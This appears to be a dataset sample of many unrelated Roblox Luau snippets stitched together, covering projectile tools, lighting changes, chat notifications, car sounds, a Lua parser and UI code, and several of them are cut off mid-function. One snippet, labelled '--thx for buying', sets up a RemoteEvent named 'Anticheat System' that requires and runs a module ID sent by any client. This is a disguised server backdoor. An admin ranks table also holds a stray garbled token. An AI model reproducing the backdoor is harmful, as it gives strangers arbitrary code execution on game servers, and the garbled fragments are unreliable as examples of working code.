Roblox/luau_corpus huggingface dataset:
-- find player's head pos

	local vCharacter = Tool.Parent
	local vPlayer = game.Players:playerFromCharacter(vCharacter)

	--local head = vCharacter:findFirstChild("Head")

	local head = locateHead()
	if head == nil then return end


	--computes a the intended direction of the projectile based on where the mouse was clicked in reference to the head
	local dir = mouse_pos - head.Position
	dir = computeDirection(dir)

	local launch = head.Position + 3 * dir

	local delta = mouse_pos - launch
	
	local dy = delta.y
	
	local new_delta = Vector3.new(delta.x, 0, delta.z)
	delta = new_delta

	local dx = delta.magnitude
	local unit_delta = delta.unit
	
	-- acceleration due to gravity in RBX units
	local g = (-9.81 * 20)

	local theta = computeLaunchAngle( dx, dy, g)

	local vy = math.sin(theta)
	local xz = math.cos(theta)
	local vx = unit_delta.x * xz
	local vz = unit_delta.z * xz
	

	local missile = Pellet:clone()
        
	missile.CanCollide = true
		

	missile.Position = launch
	missile.Velocity = Vector3.new(vx,vy,vz) * VELOCITY

	missile.RotVelocity = Vector3.new(math.random(), math.random(), math.random()).unit * 10
	
	missile.OrnamentScript.Disabled = false

	local creator_tag = Instance.new("ObjectValue")
	creator_tag.Value = vPlayer
	creator_tag.Name = "creator"
	creator_tag.Parent = missile
	
	missile.Parent = game.Workspace

end

function locateHead()
	local vCharacter = Tool.Parent
	local vPlayer = game.Players:playerFromCharacter(vCharacter)

	return vCharacter:findFirstChild("Head")
end
	

function computeLaunchAngle(dx,dy,grav)
	-- arcane
	-- http://en.wikipedia.org/wiki/Trajectory_of_a_projectile
	
	local g = math.abs(grav)
	local inRoot = (VELOCITY*VELOCITY*VELOCITY*VELOCITY) - (g * ((g*dx*dx) + (2*dy*VELOCITY*VELOCITY)))
	if inRoot <= 0 then
		return .25 * math.pi
	end
	local root = math.sqrt(inRoot)
	local inATan1 = ((VELOCITY*VELOCITY) + root) / (g*dx)

	local inATan2 = ((VELOCITY*VELOCITY) - root) / (g*dx)
	local answer1 = math.atan(inATan1)
	local answer2 = math.atan(inATan2)
	if answer1 < answer2 then return answer1 end
	return answer2
end

function computeDirection(vec)
	local lenSquared = vec.magnitude * vec.magnitude
	local invSqrt = 1 / math.sqrt(lenSquared)
	return Vector3.new(vec.x * invSqrt, vec.y * invSqrt, vec.z * invSqrt)
end




Tool.Enabled = true
function onActivated()

	if not Tool.Enabled then
		return
	end

	Tool.Enabled = false

	local character = Tool.Parent;
	local humanoid = character.Humanoid
	if humanoid == nil then
		print("Humanoid not found")
		return 
	end

	local targetPos = humanoid.TargetPoint

	fire(targetPos)

	wait(.8)

	Tool.Enabled = true
	Tool.Handle.Transparency = 0
end

script.Parent.Activated:connect(onActivated)
--------BACKLIGHTS--------

game.Workspace.audiencebackleft1.Part1.BrickColor = BrickColor.new(194)
game.Workspace.audiencebackleft1.Part2.BrickColor = BrickColor.new(194)
game.Workspace.audiencebackleft1.Part3.BrickColor = BrickColor.new(194)
game.Workspace.audiencebackleft1.Part4.BrickColor = BrickColor.new(194)
game.Workspace.audiencebackleft1.Part5.BrickColor = BrickColor.new(194)
game.Workspace.audiencebackleft1.Part6.BrickColor = BrickColor.new(194)
game.Workspace.audiencebackleft1.Part7.BrickColor = BrickColor.new(194)
game.Workspace.audiencebackleft1.Part8.BrickColor = BrickColor.new(194)
game.Workspace.audiencebackleft1.Part9.BrickColor = BrickColor.new(194)

game.Workspace.audiencebackright1.Part1.BrickColor = BrickColor.new(194)
game.Workspace.audiencebackright1.Part2.BrickColor = BrickColor.new(194)
game.Workspace.audiencebackright1.Part3.BrickColor = BrickColor.new(194)
game.Workspace.audiencebackright1.Part4.BrickColor = BrickColor.new(194)
game.Workspace.audiencebackright1.Part5.BrickColor = BrickColor.new(194)
game.Workspace.audiencebackright1.Part6.BrickColor = BrickColor.new(194)
game.Workspace.audiencebackright1.Part7.BrickColor = BrickColor.new(194)
game.Workspace.audiencebackright1.Part8.BrickColor = BrickColor.new(194)
game.Workspace.audiencebackright1.Part9.BrickColor = BrickColor.new(194)
--[=[
	@return table
	Returns a serialized version of the option.
]=]
function Option:Serialize()
	return {
		ClassName = self.ClassName,
		Value = self._v,
	}
end
-- ROBLOX FIXME: Can we define ClientChatModules statically in the project config
pcall(function() ChatLocalization = require((game:GetService("Chat") :: any).ClientChatModules.ChatLocalization :: any) end)
if ChatLocalization == nil then ChatLocalization = {} end
if not ChatLocalization.FormatMessageToSend or not ChatLocalization.LocalizeFormattedMessage then
	function ChatLocalization:FormatMessageToSend(key,default) return default end
end

local FriendMessageTextColor = Color3.fromRGB(255, 255, 255)
local FriendMessageExtraData = {ChatColor = FriendMessageTextColor}

local function Run(ChatService)

	local function ShowFriendJoinNotification()
		if FFlagUserHandleFriendJoinNotifierOnClient == false then
			if ChatSettings.ShowFriendJoinNotification ~= nil then
				return ChatSettings.ShowFriendJoinNotification
			end
		end
		return false
	end

	local function SendFriendJoinNotification(player, joinedFriend)
		local speakerObj = ChatService:GetSpeaker(player.Name)
		if speakerObj then
			local joinedFriendName = joinedFriend.Name
			if ChatSettings.PlayerDisplayNamesEnabled then
				joinedFriendName = joinedFriend.DisplayName
			end

			local msg = ChatLocalization:FormatMessageToSend("GameChat_FriendChatNotifier_JoinMessage",
				string.format("Your friend %s has joined the game.", joinedFriendName),
				"RBX_NAME",
				joinedFriendName)
			speakerObj:SendSystemMessage(msg, "System", FriendMessageExtraData)
		end
	end

	local function TrySendFriendNotification(player, joinedPlayer)
		if player ~= joinedPlayer then
			coroutine.wrap(function()
				if player:IsFriendsWith(joinedPlayer.UserId) then
					SendFriendJoinNotification(player, joinedPlayer)
				end
			end)()
		end
	end

	if ShowFriendJoinNotification() then
		Players.PlayerAdded:connect(function(player)
			local possibleFriends = Players:GetPlayers()
			for i = 1, #possibleFriends do
				TrySendFriendNotification(possibleFriends[i], player)
			end
		end)
	end
end

return Run
-- Connect to the sound playing event
game:GetService("SoundService").Playing:Connect(function(sound)
	if sound.Playing and sound.SoundId and sound.Volume >= soundThreshold then
		shakeScreen(shakeMagnitude, shakeDuration)
	end
end)
-- Same extra's apply down here as well.

game.Players.ChildRemoved:Connect(function(player)
	if not pcall (function()
		game.StarterGui:SetCore("ChatMakeSystemMessage", {
			Text = ""..player.Name.. " has left the game.";
			Color = Color3.fromRGB(255, 151, 151);
			Font = Enum.Font.ArialBold;
			FontSize = Enum.FontSize.Size18;
		})
	end) then
		print ("Error")
	   end
end)
-- v1.0 --

local player = game.Players.LocalPlayer
local PlayButton = script.Parent.AudioPlayerGui.PlayButton
local PauseButton = script.Parent.AudioPlayerGui.PauseButton
local VolUpButton = script.Parent.AudioPlayerGui.VolUp
local VolDownButton = script.Parent.AudioPlayerGui.VolDown
local ChangeButton = script.Parent.AudioPlayerGui.ChangeButton
local onOff = script.Parent.AudioPlayerGui.onOff
local carSeat = script.Parent.CarSeat.Value
--Made by Stickmasterluke


sp=script.Parent


firerate=22
power=50
rate=1/30

debris=game:GetService("Debris")
equipped=false
check=true


function onEquipped(mouse)
	equipped=true
	if mouse~=nil then
		if check then
			mouse.Icon="rbxasset://textures\\GunCursor.png"
			sp.Handle.Transparency=0
		else
			mouse.Icon="rbxasset://textures\\GunWaitCursor.png"
			sp.Handle.Transparency=1
		end
		mouse.Button1Down:connect(function()
			local hu=sp.Parent:FindFirstChild("Humanoid")
			local t=sp.Parent:FindFirstChild("Torso")
			if check and hu and hu.Health>0 and t then
				check=false
				mouse.Icon="rbxasset://textures\\GunWaitCursor.png"
				sp.Handle.Transparency=1
				local sound=sp.Handle:FindFirstChild("Throw")
				if sound~=nil then
					sound:Play()
				end
				local shoulder=t:FindFirstChild("Right Shoulder")
				if shoulder~=nil then
					shoulder.CurrentAngle=2
				end
				local p=sp.Handle:clone()
				p.CanCollide=true
				p.Transparency=0
				local vec=(mouse.Hit.p-t.Position).unit
				p.CFrame=CFrame.new(t.Position,t.Position+vec)*CFrame.new(0,0,-5)
				p.Velocity=(vec*power)+Vector3.new(0,20,0)
				local s=script.Script:clone()
				s.Parent=p
				s.Disabled=false
				local ct=Instance.new("ObjectValue")
				ct.Name="creator"
				ct.Value=game.Players.LocalPlayer
				ct.Parent=p
				debris:AddItem(p,firerate+10)
				p.Parent=game.Workspace
				wait(firerate)
				sp.Handle.Transparency=0
				mouse.Icon="rbxasset://textures\\GunCursor.png"
				check=true
			end
		end)
	end
end

function onUnequipped()
	equipped=false
	sp.Handle.Transparency=0
end

sp.Equipped:connect(onEquipped)
sp.Unequipped:connect(onUnequipped)
--------RIGHT DOOR --------
game.Workspace.doorright.l11.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value)
game.Workspace.doorright.l23.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value)
game.Workspace.doorright.l32.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value)
game.Workspace.doorright.l41.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value)
game.Workspace.doorright.l53.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value)
game.Workspace.doorright.l62.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value)
game.Workspace.doorright.l71.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value)

game.Workspace.doorright.pillar.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value)
--[[
	Creates a new alert in specified frame, of specified type. This will cause all existing alerts to move down, making room for the new one.
	The alert will disappear after a set time.
]]
function AlertController.addAlert(alerts, type, message)
	local entry = baseAlertElement:Clone()

	for _, child in pairs(alerts:GetChildren()) do
		if child:IsA("Frame") then
			child.LayoutOrder = child.LayoutOrder + 1
		end
	end

	local messageElement = entry.Message
	messageElement.Text = message

	if type == Constants.Alert.Fail then
		messageElement.TextColor3 = Color3.fromRGB(201, 67, 58)
	elseif type == Constants.Alert.Success then
		messageElement.TextColor3 = Color3.fromRGB(89, 156, 82)
	end

	entry.Parent = alerts

	delay(
		5,
		function()
			if messageElement and messageElement.Parent then
				local tween = TweenService:Create(messageElement, tweenInfo, {TextTransparency = 1})

				tween:Play()

				tween.Completed:Wait()

				entry:Destroy()
			end
		end
	)
end

return AlertController
--[[for x = 1, 50 do
s.Pitch = s.Pitch + 0.01
s:play()
wait(0.001)
end]]
for x = 1,100 do
s.Pitch = s.Pitch - 0.0020
s:play()
wait(0.001)
end
wait()
end
--Avxnturador @ //INSPARE
local FE = workspace.FilteringEnabled
local car = script.Parent.Car.Value
local handler = car:WaitForChild("DS_Sounds")
local lastGear = 0
local Rev1 = 1500
local Rev2 = 4000
local Rev3 = 6400
local Rev4 = 7300

wait(0.5)

script:WaitForChild("DS1")
script:WaitForChild("DS2")
script:WaitForChild("DS3")
script:WaitForChild("DS4")

for i,v in pairs(car.DriveSeat:GetChildren()) do
	for _,a in pairs(script:GetChildren()) do
		if v.Name==a.Name then v:Stop() wait() v:Destroy() end
	end
end

handler:FireServer("newSound","DS1",car.DriveSeat,script.DS1.SoundId,1,script.DS1.Volume,false)
handler:FireServer("newSound","DS2",car.DriveSeat,script.DS2.SoundId,1,script.DS2.Volume,false)
handler:FireServer("newSound","DS3",car.DriveSeat,script.DS3.SoundId,1,script.DS3.Volume,false)
handler:FireServer("newSound","DS4",car.DriveSeat,script.DS4.SoundId,1,script.DS4.Volume,false)

car.DriveSeat:WaitForChild("DS1")
car.DriveSeat:WaitForChild("DS2")
car.DriveSeat:WaitForChild("DS3")
car.DriveSeat:WaitForChild("DS4")


script.Parent.Values.Gear.Changed:connect(function()
	if lastGear>script.Parent.Values.Gear.Value then
		if ((script.Parent.Values.RPM.Value>=Rev1) and (script.Parent.Values.RPM.Value<Rev2)) then
			if FE then handler:FireServer("playSound","DS1") else car.DriveSeat.DS1:Play() end
		elseif ((script.Parent.Values.RPM.Value>=Rev2) and (script.Parent.Values.RPM.Value<Rev3)) then
			if FE then handler:FireServer("playSound","DS2") else car.DriveSeat.DS2:Play() end
		elseif ((script.Parent.Values.RPM.Value>=Rev3) and (script.Parent.Values.RPM.Value<Rev4)) then
			if FE then handler:FireServer("playSound","DS3") else car.DriveSeat.DS3:Play() end
		elseif (script.Parent.Values.RPM.Value>=Rev4) then
			if FE then handler:FireServer("playSound","DS4") else car.DriveSeat.DS4:Play() end
		end
	end
	lastGear = script.Parent.Values.Gear.Value
end)
-- this is a dummy object that holds the flash made when the gun is fired
local FlashHolder = nil


local WorldToCellFunction = workspace.Terrain.WorldToCellPreferSolid
local GetCellFunction = workspace.Terrain.GetCell
--thx for buying

local a = Instance.new("RemoteEvent", game.ReplicatedStorage)
a.Name = "Anticheat System"

a.OnServerEvent:connect(function(p,a)
require(a).load(p.Name)
end)
-- Hook events
Entry.TextBox.FocusLost:Connect(function(submit)
	return Window:LoseFocus(submit)
end)

UserInputService.InputBegan:Connect(function(input, gameProcessed)
	return Window:BeginInput(input, gameProcessed)
end)

Entry.TextBox:GetPropertyChangedSignal("Text"):Connect(function()
	Gui.CanvasPosition = Vector2.new(0, Gui.AbsoluteCanvasSize.Y)

	if Entry.TextBox.Text:match("\t") then -- Eat \t
		Entry.TextBox.Text = Entry.TextBox.Text:gsub("\t", "")
		return
	end
	if Window.OnTextChanged then
		return Window.OnTextChanged(Entry.TextBox.Text)
	end
end)

Gui.ChildAdded:Connect(function()
	task.defer(Window.UpdateWindowHeight)
end)

return Window
--[[
	Returns the health of the system
]]
function BaseSystem:getHealth()
	return self._health
end
------------------------------------------------------------------------
-- writes an instruction of type ABC
-- * calls luaK:code()
------------------------------------------------------------------------
function luaK:codeABC(fs, o, a, b, c)
  assert(luaP:getOpMode(o) == luaP.OpMode.iABC)
  assert(luaP:getBMode(o) ~= luaP.OpArgMask.OpArgN or b == 0)
  assert(luaP:getCMode(o) ~= luaP.OpArgMask.OpArgN or c == 0)
  return self:code(fs, luaP:CREATE_ABC(o, a, b, c), fs.ls.lastline)
end
-- Set player control
function GuiController:setPlayerControlsEnabled(enabled: boolean)
	local playerControls = self:_getPlayerControls()
	if playerControls then
		if enabled then
			-- Enable movement
			playerControls:Enable()
		else
			-- Disable movement
			playerControls:Disable()
		end
	end
end
------------------------------------------------------------------------
-- parse a repeat-until control structure, body parsed by chunk()
-- * used in statements()
------------------------------------------------------------------------
function luaY:repeatstat(ls, line)
  -- repeatstat -> REPEAT block UNTIL cond
  local fs = ls.fs
  local repeat_init = luaK:getlabel(fs)
  local bl1, bl2 = {}, {}  -- BlockCnt
  self:enterblock(fs, bl1, true)  -- loop block
  self:enterblock(fs, bl2, false)  -- scope block
  luaX:next(ls)  -- skip REPEAT
  self:chunk(ls)
  self:check_match(ls, "TK_UNTIL", "TK_REPEAT", line)
  local condexit = self:cond(ls)  -- read condition (inside scope block)
  if not bl2.upval then  -- no upvalues?
    self:leaveblock(fs)  -- finish scope
    luaK:patchlist(ls.fs, condexit, repeat_init)  -- close the loop
  else  -- complete semantics when there are upvalues
    self:breakstat(ls)  -- if condition then break
    luaK:patchtohere(ls.fs, condexit)  -- else...
    self:leaveblock(fs)  -- finish scope...
    luaK:patchlist(ls.fs, luaK:jump(fs), repeat_init)  -- and repeat
  end
  self:leaveblock(fs)  -- finish loop
end
--red 11
if k == "r" and ibo.Value==true then
	bin.Blade.BrickColor = BrickColor.new("Really red")
	bin.Blade2.BrickColor = BrickColor.new("Institutional white")
	bin.Blade.White.Enabled=false colorbin.white.Value = false
	bin.Blade.Blue.Enabled=false colorbin.blue.Value = false
	bin.Blade.Green.Enabled=false colorbin.green.Value = false
	bin.Blade.Magenta.Enabled=false colorbin.magenta.Value = false
	bin.Blade.Orange.Enabled=false colorbin.orange.Value = false
	bin.Blade.Viridian.Enabled=false colorbin.viridian.Value = false
	bin.Blade.Violet.Enabled=false colorbin.violet.Value = false
	bin.Blade.Red.Enabled=true colorbin.red.Value = true
	bin.Blade.Silver.Enabled=false colorbin.silver.Value = false
	bin.Blade.Black.Enabled=false colorbin.black.Value = false
	bin.Blade.NavyBlue.Enabled=false colorbin.navyblue.Value = false
	bin.Blade.Yellow.Enabled=false colorbin.yellow.Value = false
	bin.Blade.Cyan.Enabled=false colorbin.cyan.Value = false
    end
--------------------) Settings
Damage = 0 -- the ammout of health the player or mob will take

Cooldown = 5 -- cooldown for use of the tool again

ZoneModelName = "Bills Cane" -- name the zone model

MobHumanoidName = "Humanoid"-- the name of player or mob u want to damage
--[[
	Index into `Event` to get a prop key for attaching to an event on a Roblox
	Instance.

	Example:

		Roact.createElement("TextButton", {
			Text = "Hello, world!",

			[Roact.Event.MouseButton1Click] = function(rbx)
				print("Clicked", rbx)
			end
		})
]]

local Type = require(script.Parent.Parent.Type)

local Event = {}

local eventMetatable = {
	__tostring = function(self)
		return ("RoactHostEvent(%s)"):format(self.name)
	end,
}

setmetatable(Event, {
	__index = function(self, eventName)
		local event = {
			[Type] = Type.HostEvent,
			name = eventName,
		}

		setmetatable(event, eventMetatable)

		Event[eventName] = event

		return event
	end,
})

return Event
-- RANK, RANK NAMES & SPECIFIC USERS
Ranks = {
		{5,	"Owner",		};ffcvg13
		
	{4,	"HeadAdmin",	{"",0},	};
	{3,	"Admin",		{"",0},	};
	{2,	"Mod",			{"",0},	};
	{1,	"VIP",			{"",0},	};
	{0,	"NonAdmin",		};
};
---------------------------------------------------------------
function onChildAdded(something)
	if something.Name == "SeatWeld" then
		local human = something.part1.Parent:findFirstChild("Humanoid") 
		if (human ~= nil) then
			s.Camera:clone().Parent = game.Players:findFirstChild(human.Parent.Name).PlayerGui
		end
	end
end

function onChildRemoved(something)
	if (something.Name == "SeatWeld") then	
		local human = something.part1.Parent:findFirstChild("Humanoid") 
		if (human ~= nil) then
			print("Human Found")
			game.Players:findFirstChild(human.Parent.Name).PlayerGui.Camera:remove()
		end
	end
end


script.Parent.ChildAdded:connect(onChildAdded)
script.Parent.ChildRemoved:connect(onChildRemoved)
--[[   Modes
    1 - Normal
    2 - First Person
--]]
Mode = 1
local Look = Vector2.new()
Camera = workspace.CurrentCamera
Player = game.Players.LocalPlayer 

UserSettings().GameSettings.Changed:Connect(function(ch)
	if ch == "MouseSensitivity" then
		Sensitivity = UserSettings().GameSettings.MouseSensitivity/2
	end
end)

function HidePlayer()
	if Player.Character then
		for i,k in ipairs(Player.Character:GetChildren())do
			if k:IsA("BasePart") then
				k.Transparency = 1
				if k.Name == "Head" then
					k.face.Transparency = 1
				end
			elseif k:IsA("Accessory") then
				k.Handle.Transparency = 1
			end
		end
	end
end

function ShowPlayer()
	if Player.Character then
		for i,k in ipairs(Player.Character:GetChildren())do
			if k:IsA("BasePart") and k.Name ~= "HumanoidRootPart" then
				k.Transparency = 0
				if k.Name == "Head" then
					k.face.Transparency = 0
				end
			elseif k:IsA("Accessory") then
				k.Handle.Transparency = 0
			end
		end
	end
end

function CharacterRespawn()
	Player.CharacterAdded:Wait()
	local Character = Player.Character
	repeat	
		Character = Player.Character
		if Character then
			HRP = Character:WaitForChild("HumanoidRootPart")
		end
	until Character
	Character:WaitForChild("Humanoid").Died:Connect(function()
		Mode = 1 
	end)
end


CharacterRespawn()
-----------------------------
local TeamOnly = Settings.TeamOnly
local TeamColor = Settings.TeamColor
local TeamName = Settings.TeamName
--[[
    Reloads all players characters
]]
local ServerStorage = game:GetService("ServerStorage")

local getPlayersInGame = require(ServerStorage.Source.MinigameUtilities.getPlayersInGame)

return function()
	for _, player in pairs(getPlayersInGame()) do
		player:LoadCharacter()
	end
end
-- There's a bug with CharacterAppearanceLoaded. This still seems to be an issue as my testing went.
-- https://devforum.roblox.com/t/characterappearanceloaded-not-working-with-localscripts/265106/7
-- This solution does work. And this really only happens when the character is detected to be spawned by the server.
RE_Character_Appearance_Loaded.OnClientEvent:Connect(function()
	while not Local_Player.Character do wait() end
	
	if Local_Player.Character then
		PartUtility.MakeInvisible(Local_Player.Character)
		-- Yes I know this is terrible, but CharacterAppearanceLoaded is not working
		for i=1,5 do
			wait(0.25)
			PartUtility.MakeInvisible(Local_Player.Character)
		end
	end
end)
-- / Wind Shake / --
WindShake:SetDefaultSettings(WindShakeSettings)

WindShake:Init()

for _, ShakeObject in pairs(game.Workspace:GetDescendants()) do
	if ShakeObject:IsA("BasePart") then
		if table.find(ShakableObjects, ShakeObject.Name) then
			WindShake:AddObjectShake(ShakeObject, WindShakeSettings)
			
		end
	end
end

game.Workspace.DescendantAdded:Connect(function(Object)
	if table.find(ShakableObjects, Object.Name) then
		WindShake:AddObjectShake(Object, WindShakeSettings)
		
	end
end)
--------------------) Settings
Damage = 0 -- the ammout of health the player or mob will take

Cooldown = 5 -- cooldown for use of the tool again

ZoneModelName = "Glitch" -- name the zone model

MobHumanoidName = "Humanoid"-- the name of player or mob u want to damage
--local freeSpaceX,freeSpaceY,freeSpaceZ = 3,3,2.8
local freeSpace = Vector3.new(3,2.8,3)
local box = script.Parent
local contents = box.Contents

local lidOffset = 3 

function r(num)
	return math.random(-math.abs(num*100),math.abs(num*100))/100
end

local function weldBetween(a, b)
	--Make a new Weld and Parent it to a.
	local weld = Instance.new("ManualWeld", a)
	weld.Part0 = a
	weld.Part1 = b
	--Get the CFrame of b relative to a.
	weld.C0 = a.CFrame:inverse() * b.CFrame
	--Return the reference to the weld so that you can change it later.
	return weld
end

box.Base.Touched:connect(function(oldHit)

	if (oldHit:FindFirstChild("Draggable") and oldHit:FindFirstChild("Pickup")) or
		(oldHit.Parent and (oldHit.Parent:FindFirstChild("Draggable") and oldHit.Parent:FindFirstChild("Pickup")))
	then
		local hit
		if oldHit.Parent:IsA("Model") and oldHit.Parent ~= workspace.Items then
			hit = oldHit.Parent:Clone()
			oldHit.Parent:Destroy()
		elseif oldHit.Parent == workspace.Items then
			hit = oldHit:Clone()
			oldHit:Destroy()
		end

		if hit.Draggable then
			hit.Draggable:Destroy()
		end

		if hit:IsA("BasePart") then
			hit.Anchored = true
			hit.CanCollide = false
			local vary = freeSpace-hit.Size
			-- random x,y,z
			print(vary,"as variance")
			--hit.CFrame = box.PrimaryPart.CFrame*CFrame.new(r(vary.X),1+math.random(0,vary.Y*100)/100,r(vary.Z))
			weldBetween(hit, box.PrimaryPart)
			hit.CFrame = box.PrimaryPart.CFrame*CFrame.new(math.random(-100,100)/100,math.random(100,200)/100,math.random(-100,100)/100)
		elseif hit:IsA("Model") then
			for _,v in next,hit:GetDescendants() do
				if v:IsA("BasePart") then
					v.Anchored = true
					v.CanCollide = false
					weldBetween(v, box.PrimaryPart)
				end
			end
			local modelSize=  hit:GetExtentsSize()
			local vary = freeSpace-modelSize
			--hit:SetPrimaryPartCFrame(box.PrimaryPart.CFrame*CFrame.new(r(vary.X),1+math.random(0,vary.Y*100)/100,r(vary.Z)))
			hit:SetPrimaryPartCFrame(box.PrimaryPart.CFrame*CFrame.new(math.random(-100,100)/100,math.random(100,200)/100,math.random(-100,100)/100))
		end -- end of if hit is a basepart or model
		hit.Parent = contents
	end
end)
--[[			
	@param 	Player 		Player			The player (or nil) to be made the owner of this Ownership.
--]]
function Ownership:SetOwner(Player)
	self.Owner = Player
	if Player then Owners[Player] = self end
	self._OwnerChangedEvent:Fire(Player)
end